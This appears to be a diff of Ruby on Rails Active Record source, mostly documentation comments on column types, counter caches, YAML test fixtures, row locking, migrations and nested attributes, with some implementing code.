+ # * DB2: <tt>:precision</tt> [1..63], <tt>:scale</tt> [0..62].
+ # Default unknown.
+ # * Firebird: <tt>:precision</tt> [1..18], <tt>:scale</tt> [0..18].
+ # Default (9,0). Internal types NUMERIC and DECIMAL have different
+ # storage rules, decimal being better.
+ # * FrontBase?: <tt>:precision</tt> [1..38], <tt>:scale</tt> [0..38].
+ # Default (38,0). WARNING Max <tt>:precision</tt>/<tt>:scale</tt> for
+ # NUMERIC is 19, and DECIMAL is 38.
+ # * SqlServer?: <tt>:precision</tt> [1..38], <tt>:scale</tt> [0..38].
+ # Default (38,0).
+ # * Sybase: <tt>:precision</tt> [1..38], <tt>:scale</tt> [0..38].
+ # Default (38,0).
+ # * OpenBase?: Documentation unclear. Claims storage in <tt>double</tt>.

+ #
+ # == Examples
+ # # Assuming +td+ is an instance of TableDefinition
+ # td.column(:granted, :boolean)
+ # # granted BOOLEAN
+ #
+ # td.column(:picture, :binary, limit: 2.megabytes)
+ # # => picture BLOB(2097152)
+ #
+ # td.column(:sales_stage, :string, limit: 20, default: 'new', null: false)
+ # # => sales_stage VARCHAR(20) DEFAULT 'new' NOT NULL
+ #
+ # td.column(:bill_gates_money, :decimal, precision: 15, scale: 2)
+ # # => bill_gates_money DECIMAL(15,2)
+ #
+ # td.column(:sensor_reading, :decimal, precision: 30, scale: 20)
+ # # => sensor_reading DECIMAL(30,20)
+ #
+ # # While <tt>:scale</tt> defaults to zero on most databases, it
+ # # probably wouldn't hurt to include it.
+ # td.column(:huge_integer, :decimal, precision: 30)
+ # # => huge_integer DECIMAL(30)
+ #
+ # # Defines a column with a database-specific type.
+ # td.column(:foo, 'polygon')
+ # # => foo polygon
+ #
+ # == Short-hand examples
+ #
+ # Instead of calling +column+ directly, you can also work with the short-hand definitions for the default types.
+ # They use the type as the method name instead of as a parameter and allow for multiple columns to be defined
+ # in a single statement.
+ #
+ # What can be written like this with the regular calls to column:
+ #
+ # create_table :products do |t|
+ # t.column :shop_id, :integer
+ # t.column :creator_id, :integer
+ # t.column :name, :string, default: "Untitled"
+ # t.column :value, :string, default: "Untitled"
+ # t.column :created_at, :datetime
+ # t.column :updated_at, :datetime
+ # end
+ #
+ # can also be written as follows using the short-hand:
+ #
+ # create_table :products do |t|
+ # t.integer :shop_id, :creator_id
+ # t.string :name, :value, default: "Untitled"
+ # t.timestamps
+ # end
+ #
+ # There's a short-hand method for each of the type values declared at the top. And then there's
+ # TableDefinition#timestamps that'll add +created_at+ and +updated_at+ as datetimes.
+ #
+ # TableDefinition#references will add an appropriately-named _id column, plus a corresponding _type
+ # column if the <tt>:polymorphic</tt> option is supplied. If <tt>:polymorphic</tt> is a hash of
+ # options, these will be used when creating the <tt>_type</tt> column. The <tt>:index</tt> option
+ # will also create an index, similar to calling <tt>add_index</tt>. So what can be written like this:
+ #
+ # create_table :taggings do |t|
+ # t.integer :tag_id, :tagger_id, :taggable_id
+ # t.string :tagger_type
+ # t.string :taggable_type, default: 'Photo'
+ # end
+ # add_index :taggings, :tag_id, name: 'index_taggings_on_tag_id'
+ # add_index :taggings, [:tagger_id, :tagger_type]
+ #
+ # Can also be written as follows using references:
+ #
+ # create_table :taggings do |t|
+ # t.references :tag, index: { name: 'index_taggings_on_tag_id' }
+ # t.references :tagger, polymorphic: true, index: true
+ # t.references :taggable, polymorphic: { default: 'Photo' }

+ # * +id+ - The id of the object you wish to reset a counter on.
+ # * +counters+ - One or more association counters to reset
+ #
+ # ==== Examples

+ # A generic "counter updater" implementation, intended primarily to be
+ # used by increment_counter and decrement_counter, but which may also
+ # be useful on its own. It simply does a direct SQL update for the record
+ # with the given ID, altering the given hash of counters by the amount
+ # given by the corresponding value:
+ #
+ # ==== Parameters
+ #
+ # * +id+ - The id of the object you wish to update a counter on or an Array of ids.
+ # * +counters+ - An Array of Hashes containing the names of the fields
+ # to update as keys and the amount to update the field by as values.
+ #
+ # ==== Examples
+ #
+ # # For the Post with id of 5, decrement the comment_count by 1, and
+ # # increment the action_count by 1
+ # Post.update_counters 5, comment_count: -1, action_count: 1
+ # # Executes the following SQL:
+ # # UPDATE posts
+ # # SET comment_count = COALESCE(comment_count, 0) - 1,
+ # # action_count = COALESCE(action_count, 0) + 1
+ # # WHERE id = 5
+ #
+ # # For the Posts with id of 10 and 15, increment the comment_count by 1
+ # Post.update_counters [10, 15], comment_count: 1
+ # # Executes the following SQL:
+ # # UPDATE posts
+ # # SET comment_count = COALESCE(comment_count, 0) + 1
+ # # WHERE id IN (10, 15)
+ def update_counters(id, counters)
+ updates = counters.map do |counter_name, value|
+ operator = value < 0 ? '-' : '+'
+ quoted_column = connection.quote_column_name(counter_name)
+ "#{quoted_column} = COALESCE(#{quoted_column}, 0) #{operator} #{value.abs}"
+ end
+
+ where(primary_key => id).update_all updates.join(', ')
+ end
+
+ # Increment a numeric field by one, via a direct SQL update.
+ #
+ # This method is used primarily for maintaining counter_cache columns used to
+ # store aggregate values. For example, a DiscussionBoard may cache posts_count
+ # and comments_count to avoid running an SQL query to calculate the number of
+ # posts and comments there are each time it is displayed.
+ #
+ # ==== Parameters
+ #
+ # * +counter_name+ - The name of the field that should be incremented.
+ # * +id+ - The id of the object that should be incremented or an Array of ids.
+ #
+ # ==== Examples
+ #
+ # # Increment the post_count column for the record with an id of 5
+ # DiscussionBoard.increment_counter(:post_count, 5)
+ def increment_counter(counter_name, id)
+ update_counters(id, counter_name => 1)
+ end
+
+ # Decrement a numeric field by one, via a direct SQL update.
+ #
+ # This works the same as increment_counter but reduces the column value by
+ # 1 instead of increasing it.
+ #
+ # ==== Parameters
+ #
+ # * +counter_name+ - The name of the field that should be decremented.
+ # * +id+ - The id of the object that should be decremented or an Array of ids.
+ #
+ # ==== Examples
+ #
+ # # Decrement the post_count column for the record with an id of 5
+ # DiscussionBoard.decrement_counter(:post_count, 5)
+ def decrement_counter(counter_name, id)

+
+ # \Fixtures are a way of organizing data that you want to test against; in short, sample data.
+ #
+ # They are stored in YAML files, one file per model, which are placed in the directory
+ # appointed by <tt>ActiveSupport::TestCase.fixture_path=(path)</tt> (this is automatically
+ # configured for Rails, so you can just put your files in <tt><your-rails-app>/test/fixtures/</tt>).
+ # The fixture file ends with the <tt>.yml</tt> file extension (Rails example:
+ # <tt><your-rails-app>/test/fixtures/web_sites.yml</tt>). The format of a fixture file looks
+ # like this:
+ #
+ # rubyonrails:
+ # id: 1
+ # name: Ruby on Rails
+ # url: http://www.rubyonrails.org
+ #
+ # google:
+ # id: 2
+ # name: Google
+ # url: http://www.google.com
+ #
+ # This fixture file includes two fixtures. Each YAML fixture (ie. record) is given a name and
+ # is followed by an indented list of key/value pairs in the "key: value" format. Records are
+ # separated by a blank line for your viewing pleasure.
+ #
+ # Note that fixtures are unordered. If you want ordered fixtures, use the omap YAML type.
+ # See http://yaml.org/type/omap.html
+ # for the specification. You will need ordered fixtures when you have foreign key constraints
+ # on keys in the same table. This is commonly needed for tree structures. Example:
+ #
+ # --- !omap
+ # - parent:
+ # id: 1
+ # parent_id: NULL
+ # title: Parent
+ # - child:
+ # id: 2
+ # parent_id: 1
+ # title: Child
+ #
+ # = Using Fixtures in Test Cases
+ #
+ # Since fixtures are a testing construct, we use them in our unit and functional tests. There
+ # are two ways to use the fixtures, but first let's take a look at a sample unit test:
+ #
+ # require 'test_helper'
+ #
+ # class WebSiteTest < ActiveSupport::TestCase
+ # test "web_site_count" do
+ # assert_equal 2, WebSite.count
+ # end
+ # end
+ #
+ # By default, <tt>test_helper.rb</tt> will load all of your fixtures into your test database,
+ # so this test will succeed.
+ #
+ # The testing environment will automatically load the all fixtures into the database before each
+ # test. To ensure consistent data, the environment deletes the fixtures before running the load.
+ #
+ # In addition to being available in the database, the fixture's data may also be accessed by
+ # using a special dynamic method, which has the same name as the model, and accepts the
+ # name of the fixture to instantiate:
+ #
+ # test "find" do
+ # assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
+ # end
+ #
+ # Alternatively, you may enable auto-instantiation of the fixture data. For instance, take the
+ # following tests:
+ #
+ # test "find_alt_method_1" do
+ # assert_equal "Ruby on Rails", @web_sites['rubyonrails']['name']
+ # end
+ #
+ # test "find_alt_method_2" do
+ # assert_equal "Ruby on Rails", @rubyonrails.name
+ # end
+ #
+ # In order to use these methods to access fixtured data within your testcases, you must specify one of the
+ # following in your <tt>ActiveSupport::TestCase</tt>-derived class:
+ #
+ # - to fully enable instantiated fixtures (enable alternate methods #1 and #2 above)
+ # self.use_instantiated_fixtures = true
+ #
+ # - create only the hash for the fixtures, do not 'find' each instance (enable alternate method #1 only)
+ # self.use_instantiated_fixtures = :no_instances
+ #
+ # Using either of these alternate methods incurs a performance hit, as the fixtured data must be fully
+ # traversed in the database to create the fixture hash and/or instance variables. This is expensive for
+ # large sets of fixtured data.
+ #
+ # = Dynamic fixtures with ERB
+ #
+ # Some times you don't care about the content of the fixtures as much as you care about the volume.
+ # In these cases, you can mix ERB in with your YAML fixtures to create a bunch of fixtures for load
+ # testing, like:
+ #
+ # <% 1.upto(1000) do |i| %>
+ # fix_<%= i %>:
+ # id: <%= i %>
+ # name: guy_<%= 1 %>
+ # <% end %>
+ #
+ # This will create 1000 very simple fixtures.
+ #
+ # Using ERB, you can also inject dynamic values into your fixtures with inserts like
+ # <tt><%= Date.today.strftime("%Y-%m-%d") %></tt>.
+ # This is however a feature to be used with some caution. The point of fixtures are that they're
+ # stable units of predictable sample data. If you feel that you need to inject dynamic values, then
+ # perhaps you should reexamine whether your application is properly testable. Hence, dynamic values
+ # in fixtures are to be considered a code smell.
+ #
+ # = Transactional Fixtures
+ #
+ # Test cases can use begin+rollback to isolate their changes to the database instead of having to
+ # delete+insert for every test case.
+ #
+ # class FooTest < ActiveSupport::TestCase
+ # self.use_transactional_fixtures = true
+ #
+ # test "godzilla" do
+ # assert !Foo.all.empty?
+ # Foo.destroy_all
+ # assert Foo.all.empty?
+ # end
+ #
+ # test "godzilla aftermath" do
+ # assert !Foo.all.empty?
+ # end
+ # end
+ #
+ # If you preload your test database with all fixture data (probably in the rake task) and use
+ # transactional fixtures, then you may omit all fixtures declarations in your test cases since
+ # all the data's already there and every case rolls back its changes.
+ #
+ # In order to use instantiated fixtures with preloaded data, set +self.pre_loaded_fixtures+ to
+ # true. This will provide access to fixture data for every table that has been loaded through
+ # fixtures (depending on the value of +use_instantiated_fixtures+).
+ #
+ # When *not* to use transactional fixtures:
+ #
+ # 1. You're testing whether a transaction works correctly. Nested transactions don't commit until
+ # all parent transactions commit, particularly, the fixtures transaction which is begun in setup
+ # and rolled back in teardown. Thus, you won't be able to verify
+ # the results of your transaction until Active Record supports nested transactions or savepoints (in progress).
+ # 2. Your database does not support transactions. Every Active Record database supports transactions except MySQL MyISAM.
+ # Use InnoDB, MaxDB, or NDB instead.
+ #
+ # = Advanced Fixtures
+ #
+ # Fixtures that don't specify an ID get some extra features:
+ #
+ # * Stable, autogenerated IDs
+ # * Label references for associations (belongs_to, has_one, has_many)
+ # * HABTM associations as inline lists
+ # * Autofilled timestamp columns
+ # * Fixture label interpolation
+ # * Support for YAML defaults
+ #
+ # == Stable, Autogenerated IDs
+ #
+ # Here, have a monkey fixture:
+ #
+ # george:
+ # id: 1
+ # name: George the Monkey
+ #
+ # reginald:
+ # id: 2
+ # name: Reginald the Pirate
+ #
+ # Each of these fixtures has two unique identifiers: one for the database
+ # and one for the humans. Why don't we generate the primary key instead?
+ # Hashing each fixture's label yields a consistent ID:
+ #
+ # george: # generated id: 503576764
+ # name: George the Monkey
+ #
+ # reginald: # generated id: 324201669
+ # name: Reginald the Pirate
+ #
+ # Active Record looks at the fixture's model class, discovers the correct
+ # primary key, and generates it right before inserting the fixture
+ # into the database.
+ #
+ # The generated ID for a given label is constant, so we can discover
+ # any fixture's ID without loading anything, as long as we know the label.
+ #
+ # == Label references for associations (belongs_to, has_one, has_many)
+ #
+ # Specifying foreign keys in fixtures can be very fragile, not to
+ # mention difficult to read. Since Active Record can figure out the ID of
+ # any fixture from its label, you can specify FK's by label instead of ID.
+ #
+ # === belongs_to
+ #
+ # Let's break out some more monkeys and pirates.
+ #
+ # ### in pirates.yml
+ #
+ # reginald:
+ # id: 1
+ # name: Reginald the Pirate
+ # monkey_id: 1
+ #
+ # ### in monkeys.yml
+ #
+ # george:
+ # id: 1
+ # name: George the Monkey
+ # pirate_id: 1
+ #
+ # Add a few more monkeys and pirates and break this into multiple files,
+ # and it gets pretty hard to keep track of what's going on. Let's
+ # use labels instead of IDs:
+ #
+ # ### in pirates.yml
+ #
+ # reginald:
+ # name: Reginald the Pirate
+ # monkey: george
+ #
+ # ### in monkeys.yml
+ #
+ # george:
+ # name: George the Monkey
+ # pirate: reginald
+ #
+ # Pow! All is made clear. Active Record reflects on the fixture's model class,
+ # finds all the +belongs_to+ associations, and allows you to specify
+ # a target *label* for the *association* (monkey: george) rather than
+ # a target *id* for the *FK* (<tt>monkey_id: 1</tt>).
+ #
+ # ==== Polymorphic belongs_to
+ #
+ # Supporting polymorphic relationships is a little bit more complicated, since
+ # Active Record needs to know what type your association is pointing at. Something
+ # like this should look familiar:
+ #
+ # ### in fruit.rb
+ #
+ # belongs_to :eater, polymorphic: true
+ #
+ # ### in fruits.yml
+ #
+ # apple:
+ # id: 1
+ # name: apple
+ # eater_id: 1
+ # eater_type: Monkey
+ #
+ # Can we do better? You bet!
+ #
+ # apple:
+ # eater: george (Monkey)
+ #
+ # Just provide the polymorphic target type and Active Record will take care of the rest.
+ #
+ # === has_and_belongs_to_many
+ #
+ # Time to give our monkey some fruit.
+ #
+ # ### in monkeys.yml
+ #
+ # george:
+ # id: 1
+ # name: George the Monkey
+ #
+ # ### in fruits.yml
+ #
+ # apple:
+ # id: 1
+ # name: apple
+ #
+ # orange:
+ # id: 2
+ # name: orange
+ #
+ # grape:
+ # id: 3
+ # name: grape
+ #
+ # ### in fruits_monkeys.yml
+ #
+ # apple_george:
+ # fruit_id: 1
+ # monkey_id: 1
+ #
+ # orange_george:
+ # fruit_id: 2
+ # monkey_id: 1
+ #
+ # grape_george:
+ # fruit_id: 3
+ # monkey_id: 1
+ #
+ # Let's make the HABTM fixture go away.
+ #
+ # ### in monkeys.yml
+ #
+ # george:
+ # id: 1
+ # name: George the Monkey
+ # fruits: apple, orange, grape
+ #
+ # ### in fruits.yml
+ #
+ # apple:
+ # name: apple
+ #
+ # orange:
+ # name: orange
+ #
+ # grape:
+ # name: grape
+ #
+ # Zap! No more fruits_monkeys.yml file. We've specified the list of fruits
+ # on George's fixture, but we could've just as easily specified a list
+ # of monkeys on each fruit. As with +belongs_to+, Active Record reflects on
+ # the fixture's model class and discovers the +has_and_belongs_to_many+
+ # associations.
+ #
+ # == Autofilled Timestamp Columns
+ #
+ # If your table/model specifies any of Active Record's
+ # standard timestamp columns (+created_at+, +created_on+, +updated_at+, +updated_on+),
+ # they will automatically be set to <tt>Time.now</tt>.
+ #
+ # If you've set specific values, they'll be left alone.
+ #
+ # == Fixture label interpolation
+ #
+ # The label of the current fixture is always available as a column value:
+ #
+ # geeksomnia:
+ # name: Geeksomnia's Account
+ # subdomain: $LABEL
+ #
+ # Also, sometimes (like when porting older join table fixtures) you'll need
+ # to be able to get a hold of the identifier for a given label. ERB
+ # to the rescue:
+ #
+ # george_reginald:
+ # monkey_id: <%= ActiveRecord::FixtureSet.identify(:reginald) %>
+ # pirate_id: <%= ActiveRecord::FixtureSet.identify(:george) %>
+ #
+ # == Support for YAML defaults
+ #
+ # You probably already know how to use YAML to set and reuse defaults in
+ # your <tt>database.yml</tt> file. You can use the same technique in your fixtures:
+ #
+ # DEFAULTS: &DEFAULTS
+ # created_on: <%= 3.weeks.ago.to_s(:db) %>
+ #
+ # first:
+ # name: Smurf
+ # <<: *DEFAULTS
+ #
+ # second:
+ # name: Fraggle
+ # <<: *DEFAULTS
+ #
+ # Any fixture labeled "DEFAULTS" is safely ignored.
+ class FixtureSet
+ #--
+ # An instance of FixtureSet is normally stored in a single YAML file and possibly in a folder with the same name.

+module ActiveRecord
+ module Locking
+ # == What is Optimistic Locking
+ #
+ # Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of
+ # conflicts with the data. It does this by checking whether another process has made changes to a record since
+ # it was opened, an <tt>ActiveRecord::StaleObjectError</tt> exception is thrown if that has occurred
+ # and the update is ignored.
+ #
+ # Check out <tt>ActiveRecord::Locking::Pessimistic</tt> for an alternative.
+ #
+ # == Usage
+ #
+ # Active Records support optimistic locking if the field +lock_version+ is present. Each update to the
+ # record increments the +lock_version+ column and the locking facilities ensure that records instantiated twice
+ # will let the last one saved raise a +StaleObjectError+ if the first was also updated. Example:
+ #
+ # p1 = Person.find(1)
+ # p2 = Person.find(1)
+ #
+ # p1.first_name = "Michael"
+ # p1.save
+ #
+ # p2.first_name = "should fail"
+ # p2.save # Raises a ActiveRecord::StaleObjectError
+ #
+ # Optimistic locking will also check for stale data when objects are destroyed. Example:
+ #
+ # p1 = Person.find(1)
+ # p2 = Person.find(1)
+ #
+ # p1.first_name = "Michael"
+ # p1.save
+ #
+ # p2.destroy # Raises a ActiveRecord::StaleObjectError
+ #
+ # You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging,
+ # or otherwise apply the business logic needed to resolve the conflict.
+ #
+ # This locking mechanism will function inside a single Ruby process. To make it work across all
+ # web requests, the recommended approach is to add +lock_version+ as a hidden field to your form.
+ #
+ # This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>.
+ # To override the name of the +lock_version+ column, set the <tt>locking_column</tt> class attribute:
+ #
+ # class Person < ActiveRecord::Base
+ # self.locking_column = :lock_person

+ # Locking::Pessimistic provides support for row-level locking using
+ # SELECT ... FOR UPDATE and other lock types.
+ #
+ # Pass <tt>lock: true</tt> to <tt>ActiveRecord::Base.find</tt> to obtain an exclusive
+ # lock on the selected rows:
+ # # select * from accounts where id=1 for update
+ # Account.find(1, lock: true)
+ #
+ # Pass <tt>lock: 'some locking clause'</tt> to give a database-specific locking clause
+ # of your own such as 'LOCK IN SHARE MODE' or 'FOR UPDATE NOWAIT'. Example:
+ #
+ # Account.transaction do
+ # # select * from accounts where name = 'shugo' limit 1 for update
+ # shugo = Account.where("name = 'shugo'").lock(true).first
+ # yuko = Account.where("name = 'yuko'").lock(true).first
+ # shugo.balance -= 100
+ # shugo.save!
+ # yuko.balance += 100
+ # yuko.save!
+ # end
+ #
+ # You can also use <tt>ActiveRecord::Base#lock!</tt> method to lock one record by id.
+ # This may be better if you don't need to lock every row. Example:
+ #
+ # Account.transaction do
+ # # select * from accounts where ...
+ # accounts = Account.where(...)
+ # account1 = accounts.detect { |account| ... }
+ # account2 = accounts.detect { |account| ... }
+ # # select * from accounts where id=? for update
+ # account1.lock!
+ # account2.lock!
+ # account1.balance -= 100
+ # account1.save!
+ # account2.balance += 100
+ # account2.save!
+ # end
+ #
+ # You can start a transaction and acquire the lock in one go by calling
+ # <tt>with_lock</tt> with a block. The block is called from within
+ # a transaction, the object is already locked. Example:
+ #
+ # account = Account.first
+ # account.with_lock do
+ # # This block is called within a transaction,
+ # # account is already locked.
+ # account.balance -= 100
+ # account.save!
+ # end
+ #
+ # Database-specific information on row locking:
+ # MySQL: http://dev.mysql.com/doc/refman/5.1/en/innodb-locking-reads.html

+ # = Active Record Migrations
+ #
+ # Migrations can manage the evolution of a schema used by several physical
+ # databases. It's a solution to the common problem of adding a field to make
+ # a new feature work in your local database, but being unsure of how to
+ # push that change to other developers and to the production server. With
+ # migrations, you can describe the transformations in self-contained classes
+ # that can be checked into version control systems and executed against
+ # another database that might be one, two, or five versions behind.
+ #
+ # Example of a simple migration:
+ #
+ # class AddSsl < ActiveRecord::Migration
+ # def up
+ # add_column :accounts, :ssl_enabled, :boolean, default: true
+ # end
+ #
+ # def down
+ # remove_column :accounts, :ssl_enabled
+ # end
+ # end
+ #
+ # This migration will add a boolean flag to the accounts table and remove it
+ # if you're backing out of the migration. It shows how all migrations have
+ # two methods +up+ and +down+ that describes the transformations
+ # required to implement or remove the migration. These methods can consist
+ # of both the migration specific methods like +add_column+ and +remove_column+,
+ # but may also contain regular Ruby code for generating data needed for the
+ # transformations.
+ #
+ # Example of a more complex migration that also needs to initialize data:
+ #
+ # class AddSystemSettings < ActiveRecord::Migration
+ # def up
+ # create_table :system_settings do |t|
+ # t.string :name
+ # t.string :label
+ # t.text :value
+ # t.string :type
+ # t.integer :position
+ # end
+ #
+ # SystemSetting.create name: 'notice',
+ # label: 'Use notice?',
+ # value: 1
+ # end
+ #
+ # def down
+ # drop_table :system_settings
+ # end
+ # end
+ #
+ # This migration first adds the +system_settings+ table, then creates the very
+ # first row in it using the Active Record model that relies on the table. It
+ # also uses the more advanced +create_table+ syntax where you can specify a
+ # complete table schema in one block call.
+ #
+ # == Available transformations
+ #
+ # * <tt>create_table(name, options)</tt>: Creates a table called +name+ and
+ # makes the table object available to a block that can then add columns to it,
+ # following the same format as +add_column+. See example above. The options hash
+ # is for fragments like "DEFAULT CHARSET=UTF-8" that are appended to the create
+ # table definition.
+ # * <tt>drop_table(name)</tt>: Drops the table called +name+.
+ # * <tt>change_table(name, options)</tt>: Allows to make column alterations to
+ # the table called +name+. It makes the table object available to a block that
+ # can then add/remove columns, indexes or foreign keys to it.
+ # * <tt>rename_table(old_name, new_name)</tt>: Renames the table called +old_name+
+ # to +new_name+.
+ # * <tt>add_column(table_name, column_name, type, options)</tt>: Adds a new column
+ # to the table called +table_name+
+ # named +column_name+ specified to be one of the following types:
+ # <tt>:string</tt>, <tt>:text</tt>, <tt>:integer</tt>, <tt>:float</tt>,
+ # <tt>:decimal</tt>, <tt>:datetime</tt>, <tt>:timestamp</tt>, <tt>:time</tt>,
+ # <tt>:date</tt>, <tt>:binary</tt>, <tt>:boolean</tt>. A default value can be
+ # specified by passing an +options+ hash like <tt>{ default: 11 }</tt>.
+ # Other options include <tt>:limit</tt> and <tt>:null</tt> (e.g.
+ # <tt>{ limit: 50, null: false }</tt>) -- see
+ # ActiveRecord::ConnectionAdapters::TableDefinition#column for details.
+ # * <tt>rename_column(table_name, column_name, new_column_name)</tt>: Renames
+ # a column but keeps the type and content.
+ # * <tt>change_column(table_name, column_name, type, options)</tt>: Changes
+ # the column to a different type using the same parameters as add_column.
+ # * <tt>remove_column(table_name, column_names)</tt>: Removes the column listed in
+ # +column_names+ from the table called +table_name+.
+ # * <tt>add_index(table_name, column_names, options)</tt>: Adds a new index
+ # with the name of the column. Other options include
+ # <tt>:name</tt>, <tt>:unique</tt> (e.g.
+ # <tt>{ name: 'users_name_index', unique: true }</tt>) and <tt>:order</tt>
+ # (e.g. <tt>{ order: { name: :desc } }</tt>).
+ # * <tt>remove_index(table_name, column: column_name)</tt>: Removes the index
+ # specified by +column_name+.
+ # * <tt>remove_index(table_name, name: index_name)</tt>: Removes the index
+ # specified by +index_name+.
+ #
+ # == Irreversible transformations
+ #
+ # Some transformations are destructive in a manner that cannot be reversed.
+ # Migrations of that kind should raise an <tt>ActiveRecord::IrreversibleMigration</tt>
+ # exception in their +down+ method.
+ #
+ # == Running migrations from within Rails
+ #
+ # The Rails package has several tools to help create and apply migrations.
+ #
+ # To generate a new migration, you can use
+ # rails generate migration MyNewMigration
+ #
+ # where MyNewMigration is the name of your migration. The generator will
+ # create an empty migration file <tt>timestamp_my_new_migration.rb</tt>
+ # in the <tt>db/migrate/</tt> directory where <tt>timestamp</tt> is the
+ # UTC formatted date and time that the migration was generated.
+ #
+ # You may then edit the <tt>up</tt> and <tt>down</tt> methods of
+ # MyNewMigration.
+ #
+ # There is a special syntactic shortcut to generate migrations that add fields to a table.
+ #
+ # rails generate migration add_fieldname_to_tablename fieldname:string
+ #
+ # This will generate the file <tt>timestamp_add_fieldname_to_tablename</tt>, which will look like this:
+ # class AddFieldnameToTablename < ActiveRecord::Migration
+ # def up
+ # add_column :tablenames, :fieldname, :string
+ # end
+ #
+ # def down
+ # remove_column :tablenames, :fieldname
+ # end
+ # end
+ #
+ # To run migrations against the currently configured database, use
+ # <tt>rake db:migrate</tt>. This will update the database by running all of the
+ # pending migrations, creating the <tt>schema_migrations</tt> table
+ # (see "About the schema_migrations table" section below) if missing. It will also
+ # invoke the db:schema:dump task, which will update your db/schema.rb file
+ # to match the structure of your database.
+ #
+ # To roll the database back to a previous migration version, use
+ # <tt>rake db:migrate VERSION=X</tt> where <tt>X</tt> is the version to which
+ # you wish to downgrade. If any of the migrations throw an
+ # <tt>ActiveRecord::IrreversibleMigration</tt> exception, that step will fail and you'll
+ # have some manual work to do.
+ #
+ # == Database support
+ #
+ # Migrations are currently supported in MySQL, PostgreSQL, SQLite,
+ # SQL Server, Sybase, and Oracle (all supported databases except DB2).
+ #
+ # == More examples
+ #
+ # Not all migrations change the schema. Some just fix the data:
+ #
+ # class RemoveEmptyTags < ActiveRecord::Migration
+ # def up
+ # Tag.all.each { |tag| tag.destroy if tag.pages.empty? }
+ # end
+ #
+ # def down
+ # # not much we can do to restore deleted data
+ # raise ActiveRecord::IrreversibleMigration, "Can't recover the deleted tags"
+ # end
+ # end
+ #
+ # Others remove columns when they migrate up instead of down:
+ #
+ # class RemoveUnnecessaryItemAttributes < ActiveRecord::Migration
+ # def up
+ # remove_column :items, :incomplete_items_count
+ # remove_column :items, :completed_items_count
+ # end
+ #
+ # def down
+ # add_column :items, :incomplete_items_count
+ # add_column :items, :completed_items_count
+ # end
+ # end
+ #
+ # And sometimes you need to do something in SQL not abstracted directly by migrations:
+ #
+ # class MakeJoinUnique < ActiveRecord::Migration
+ # def up
+ # execute "ALTER TABLE `pages_linked_pages` ADD UNIQUE `page_id_linked_page_id` (`page_id`,`linked_page_id`)"
+ # end
+ #
+ # def down
+ # execute "ALTER TABLE `pages_linked_pages` DROP INDEX `page_id_linked_page_id`"
+ # end
+ # end
+ #
+ # == Using a model after changing its table
+ #
+ # Sometimes you'll want to add a column in a migration and populate it
+ # immediately after. In that case, you'll need to make a call to
+ # <tt>Base#reset_column_information</tt> in order to ensure that the model has the
+ # latest column data from after the new column was added. Example:
+ #
+ # class AddPeopleSalary < ActiveRecord::Migration
+ # def up
+ # add_column :people, :salary, :integer
+ # Person.reset_column_information
+ # Person.all.each do |p|
+ # p.update_attribute :salary, SalaryCalculator.compute(p)
+ # end
+ # end
+ # end
+ #
+ # == Controlling verbosity
+ #
+ # By default, migrations will describe the actions they are taking, writing
+ # them to the console as they happen, along with benchmarks describing how
+ # long each step took.
+ #
+ # You can quiet them down by setting ActiveRecord::Migration.verbose = false.
+ #
+ # You can also insert your own messages and benchmarks by using the +say_with_time+
+ # method:
+ #
+ # def up
+ # ...
+ # say_with_time "Updating salaries..." do
+ # Person.all.each do |p|
+ # p.update_attribute :salary, SalaryCalculator.compute(p)
+ # end
+ # end
+ # ...
+ # end
+ #
+ # The phrase "Updating salaries..." would then be printed, along with the
+ # benchmark for the block when the block completes.
+ #
+ # == About the schema_migrations table
+ #
+ # Rails versions 2.0 and prior used to create a table called
+ # <tt>schema_info</tt> when using migrations. This table contained the
+ # version of the schema as of the last applied migration.
+ #
+ # Starting with Rails 2.1, the <tt>schema_info</tt> table is
+ # (automatically) replaced by the <tt>schema_migrations</tt> table, which
+ # contains the version numbers of all the migrations applied.
+ #
+ # As a result, it is now possible to add migration files that are numbered
+ # lower than the current schema version: when migrating up, those
+ # never-applied "interleaved" migrations will be automatically applied, and
+ # when migrating down, never-applied "interleaved" migrations will be skipped.
+ #
+ # == Timestamped Migrations
+ #
+ # By default, Rails generates migrations that look like:
+ #
+ # 20080717013526_your_migration_name.rb
+ #
+ # The prefix is a generation timestamp (in UTC).
+ #
+ # If you'd prefer to use numeric prefixes, you can turn timestamped migrations
+ # off by setting:
+ #
+ # config.active_record.timestamped_migrations = false
+ #
+ # In application.rb.
+ #
+ # == Reversible Migrations
+ #
+ # Starting with Rails 3.1, you will be able to define reversible migrations.
+ # Reversible migrations are migrations that know how to go +down+ for you.
+ # You simply supply the +up+ logic, and the Migration system will figure out
+ # how to execute the down commands for you.
+ #
+ # To define a reversible migration, define the +change+ method in your
+ # migration like this:
+ #
+ # class TenderloveMigration < ActiveRecord::Migration
+ # def change
+ # create_table(:horses) do |t|
+ # t.column :content, :text
+ # t.column :remind_at, :datetime
+ # end
+ # end
+ # end
+ #
+ # This migration will create the horses table for you on the way up, and
+ # automatically figure out how to drop the table on the way down.
+ #
+ # Some commands like +remove_column+ cannot be reversed. If you care to
+ # define how to move up and down in these cases, you should define the +up+
+ # and +down+ methods as before.
+ #
+ # If a command cannot be reversed, an
+ # <tt>ActiveRecord::IrreversibleMigration</tt> exception will be raised when
+ # the migration is moving down.
+ #
+ # For a list of commands that are reversible, please see
+ # <tt>ActiveRecord::Migration::CommandRecorder</tt>.
+ #
+ # == Transactional Migrations
+ #
+ # If the database adapter supports DDL transactions, all migrations will
+ # automatically be wrapped in a transaction. There are queries that you
+ # can't execute inside a transaction though, and for these situations
+ # you can turn the automatic transactions off.
+ #
+ # class ChangeEnum < ActiveRecord::Migration
+ # disable_ddl_transaction!
+ #
+ # def up
+ # execute "ALTER TYPE model_size ADD VALUE 'new_value'"
+ # end
+ # end
+ #
+ # Remember that you can still open your own transactions, even if you
+ # are in a Migration with <tt>self.disable_ddl_transaction!</tt>.

+
+ # = Active Record Nested Attributes
+ #
+ # Nested attributes allow you to save attributes on associated records
+ # through the parent. By default nested attribute updating is turned off
+ # and you can enable it using the accepts_nested_attributes_for class
+ # method. When you enable nested attributes an attribute writer is
+ # defined on the model.
+ #
+ # The attribute writer is named after the association, which means that
+ # in the following example, two new methods are added to your model:
+ #
+ # <tt>author_attributes=(attributes)</tt> and
+ # <tt>pages_attributes=(attributes)</tt>.
+ #
+ # class Book < ActiveRecord::Base
